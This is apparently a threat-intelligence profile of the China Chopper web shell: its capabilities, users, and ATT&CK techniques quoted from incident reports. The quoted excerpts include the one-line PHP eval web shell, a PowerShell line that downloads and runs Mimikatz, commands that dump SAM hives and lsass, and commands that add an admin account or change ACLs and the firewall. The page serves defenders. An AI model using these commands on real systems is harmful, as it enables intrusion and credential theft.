China Chopper
- Type
- Webshell
- Capabilities
- PersistencePost exploitationScanningBrute forceLateral movement
- Delivery
- Landing page
- Platforms
- Windows
China Chopper is a client/server web shell used to maintain remote access to compromised web servers and conduct post-exploitation operations. Its server-side payload accepts commands from an attacker-controlled client, enabling operating-system command execution, file uploads, security scanning, and brute-force password guessing against authentication portals. Observed implementations include PHP, ASP.NET, and Visual Basic variants, including encrypted variants. Attackers use it to retain access, execute scripts, deploy additional malware, and support movement into internal networks.
China Chopper is commonly installed after exploitation of internet-facing applications. Documented deployments include Microsoft Exchange servers compromised through ProxyLogon and Microsoft SharePoint servers exploited through CVE-2019-0604. It has been used to obtain or launch Quarian and PlugX backdoors, deploy Cobalt Strike, and execute PowerShell commands that download Prometei payloads. Its role in these operations is remote access and follow-on execution rather than the downstream payloads' mining, encryption, or data-theft functionality.
China Chopper is used by multiple unrelated threat actors and is not a reliable attribution marker on its own. Documented users include HAFNIUM, Earth Estries, GALLIUM, Weaver Ant, Chinese Ministry of State Security-affiliated actors, and the Iran-based Pioneer Kitten activity cluster. Deployments have occurred in telecommunications, government, defense industrial base, and media environments, as well as financially motivated compromises of vulnerable enterprise servers.
Associated vulnerabilities
31 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
19 more CVEs associated with this family tracked in Mallory.
Associated threat actors
29 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)
[APT41](https://attack.mitre.org/groups/G0096) used the `China Chopper` web shell as a persistence mechanism on compromised Microsoft Exchange servers.(Citation: apt41_dcsocytec_dec2022)(Citation: FireEye APT41 Aug 2019)
(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Unit42 Emissary Panda May 2019)
[Mustang Panda](https://attack.mitre.org/groups/G0129) has used [China Chopper](https://attack.mitre.org/software/S0020) web shells to maintain access to victims’ environments.(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023)
+23 more in the app. View in Mallory
Techniques & procedures
67 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
The HAFNIUM threat group uses the following tools to help its post-compromise behaviors.
Initial Access
2 techniques
Initial Access
“China Chopper is commonly used… such as exploiting web server vulnerabilities, cross-site scripting, or SQL injections.”
Limited exploitation of these vulnerabilities has been ongoing since at least September 2022. | CVE-2022-41040 is a Server-Side Request Forgery (SSRF) vulnerability, that would allow an attacker to run PowerShell in the context of the compromised system.
Execution
9 techniques
Execution
A web shell provides an operator with a way to execute commands (input) and receive its results (output) on a target system.
event_log_source:'Security' AND event_id:'4688' AND proc_parent_file_path end with:'\w3wp.exe' AND proc_file_path end with:('\cmd.exe' OR '\powershell.exe')
[China Chopper](https://attack.mitre.org/software/S0020)'s server component is capable of opening a command terminal.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)
Annex B lists Visual Basic under Execution.
<?php @ eval ( $_POST [ 'pass' ]); ?>
an .ASPX web shell is created via JavaScript on the system
C:\windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe C:\windows\temp\Document.csproj /p:AssemblyName=C:\windows\temp\downloader.png /p:ScriptFile=C:\windows\temp\downloader.dat
CVE-2022-26134 is an unauthenticated Remote Code Execution (RCE) vulnerability that impacts all supported versions of Confluence Server and Data Center. Exploitation of this vulnerability would allow an unauthenticated and remote actor to execute code on vulnerable devices
@system($r." 2>&1",$ret);
Persistence
4 techniques
Persistence
net localgroup administrators admin /ad
the attackers seek to create a new user and then add the user to the group of users with administrative privileges... net user user pass /add
TinyShell and China Chopper were both used to establish persistence on staging systems during lateral movement.
[China Chopper](https://attack.mitre.org/software/S0020)'s server component is a Web Shell payload.(Citation: Lee 2013)
Privilege Escalation
2 techniques
Privilege Escalation
The actor attempts to exploit CVE-2018–8440 ... to elevate the privileges... Server 4 ... exploit the Windows vulnerabilities CVE-2015-0062, CVE-2015-1701 and CVE-2016-0099
net localgroup administrators admin /ad
Stealth
10 techniques
Stealth
All parameters are encoded with a standard base64 encoder before submission.
[China Chopper](https://attack.mitre.org/software/S0020)'s client component is packed with UPX.(Citation: Lee 2013)
HAFNIUM masquerade names of deployed web shells as identical or similar names of legitimate files, such as log.aspx, logout.aspx, default.aspx, errorPage.aspx, and server.aspx.
"...and altered access logs to evade detection."
Once the attackers gained access to the network, they deleted the .aspx webshell file to cover their tracks
[China Chopper](https://attack.mitre.org/software/S0020)'s server component can change the timestamp of files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)
C:\windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe C:\windows\temp\Document.csproj /p:AssemblyName=C:\windows\temp\downloader.png /p:ScriptFile=C:\windows\temp\downloader.dat
The actors wrote Base64-encoded JavaScript to 1.txt and used certutil to decode it into 2.aspx.
the attacker began to copy the initially-dropped web shell to multiple different directories, and changed the attributes of the web shell files to make them hidden with read-only permission.
the attacker began to copy the initially-dropped web shell to multiple different directories, and changed the attributes of the web shell files to make them hidden with read-only permission.
Defense Impairment
2 techniques
Defense Impairment
The actors first reset the Access Control List for the Windows temporary files folder and take ownership of the folder... launches a few other tools to modify the access control lists (ACLs) of all websites running on the affected server. cacls \. C:\path_to_a_website /T /E /C /G Everyone:F
netsh.exe Firewall Add AllowedProgram C:\Windows\Temp\lsass.eXe Windows Update Enable
Credential Access
6 techniques
Credential Access
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz | reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive ... Invoke-Mimikatz ... The attackers also tried procdump64.exe on lsass.exe to get the local credentials stored in memory.
The attackers also tried procdump64.exe on lsass.exe to get the local credentials stored in memory.
reg save hklm\sam sam.hive
HAFNIUM creates and steals copies of the NTDS.dit file using deployed web shells.
ID: T1110.001 Sub-technique of: T1110
[China Chopper](https://attack.mitre.org/software/S0020)'s server component can perform brute force password guessing against authentication portals.(Citation: FireEye Periscope March 2018)
Discovery
9 techniques
Discovery
The following commands were observed on a PowerShell session obtained by the exploit ... ipconfig /all
the attackers used different built-in Windows tools such as net commands, queser, reg, systeminfo, tasklist, netstat, and ping for internal and external connectivity checks
The following commands were observed ... query user ... whoami
[China Chopper](https://attack.mitre.org/software/S0020)'s server component can spider authentication portals.(Citation: FireEye Periscope March 2018)
The following commands were observed ... tasklist
[China Chopper](https://attack.mitre.org/software/S0020)'s server component can list directory contents.(Citation: FireEye Periscope March 2018)(Citation: Rapid7 HAFNIUM Mar 2021)
Adding attack.discovery since rule already have t1082, t1087 and t1046
The following commands were observed on a PowerShell session obtained by the exploit ... net user /domain
From the compromised OSS application, the operators abused trust relationships between network segments to pivot from the transport network into the mobile Core network.
Lateral Movement
4 techniques
Lateral Movement
From the compromised OSS application, the operators abused trust relationships between network segments to pivot from the transport network into the mobile Core network.
Leveraging the ‘PowerShell without PowerShell’ execution technique, Weaver Ant employed known PowerShell modules and tools, such as ‘Invoke-SMBClient’, to conduct reconnaissance and facilitate lateral movement
tried to pivot internally by using the credentials and the "net use" commands.
Annex B lists Lateral Tool Transfer under Lateral Movement.
Collection
6 techniques
Collection
[China Chopper](https://attack.mitre.org/software/S0020)'s server component can upload local files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)(Citation: Rapid7 HAFNIUM Mar 2021)
net use \\192.168.0.10\ipc$ /user:USER PASSWORD move c:\working_directory\db.csv \\192.168.0.10\destination_directory
APT28 has staged archives of collected data on a target's Outlook Web Access (OWA) server.
We assume the attacker ran this command periodically in order to get only new documents and minimize the quantity of exfiltrated data.
The purpose of the attacker was to obtain documents and database copies.
The documents were automatically compressed using WinRAR... create an archive containing documents modified after the date put as an argument. The archives are protected with a strong password
Command and Control
8 techniques
Command and Control
BRONZE UNION appears to use a combination of self-registered IP addresses and commercial VPN services in its command and control (C2) and operational infrastructure. The threat actors also integrate infrastructure they likely previously compromised for espionage purposes.
[China Chopper](https://attack.mitre.org/software/S0020)'s server component executes code sent via HTTP POST commands.(Citation: FireEye Periscope March 2018)
Webshells are utilized for the following purposes: To use as a relay point to issue commands to hosts inside the network without direct internet access;
Web shell tunneling is a method that leverages multiple web shells as ‘proxy servers’ to redirect inbound HTTP traffic to another web shell on a different host for payload execution.
We already saw the usage of a HTTP tunnel tool to create a network tunnel between the infected system and a C2 server... several remote access tools such as Gh0stRAT and Venom multi-hop proxy were deployed
[China Chopper](https://attack.mitre.org/software/S0020)'s server component can download remote files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)(Citation: Rapid7 HAFNIUM Mar 2021)(Citation: Kaspersky ToddyCat June 2022)
Finally, several remote access tools such as Gh0stRAT and Venom multi-hop proxy were deployed on the machine, as well as a remote shell written purely in PowerShell.
In this blog, we will refer to this technique as Web Shell Tunneling. Web shell tunneling is a method that leverages multiple web shells as ‘proxy servers’ to redirect inbound HTTP traffic to another web shell on a different host for payload execution.
Exfiltration
3 techniques
Exfiltration
The data was then exfiltrated using the China Chopper WebShell
Appendix II: MITRE ATT&CK Matrix Mapping Exfiltration T1048 - Exfiltration Over Alternative Protocol
The TMP files were then staged for exfiltration on Internet-facing servers that had previously been compromised with the China Chopper web shell. From those servers the threat actor could use a web shell to retrieve the encrypted archives.
Impact
3 techniques
Impact
We identified actors trying to deploy ransomware on the vulnerable server using China Chopper. The first attempt was Sodinokibi ransomware... The second delivered the Gandcrab ransomware
This is likely done to compromise other sites or to run a web defacement campaign... replacestudio32.exe ... could be used to affect all sites hosted on the server or simply deface pages.
we identified another actor trying to execute a Monero miner on the vulnerable server with China Chopper
Observables
144 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
158 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.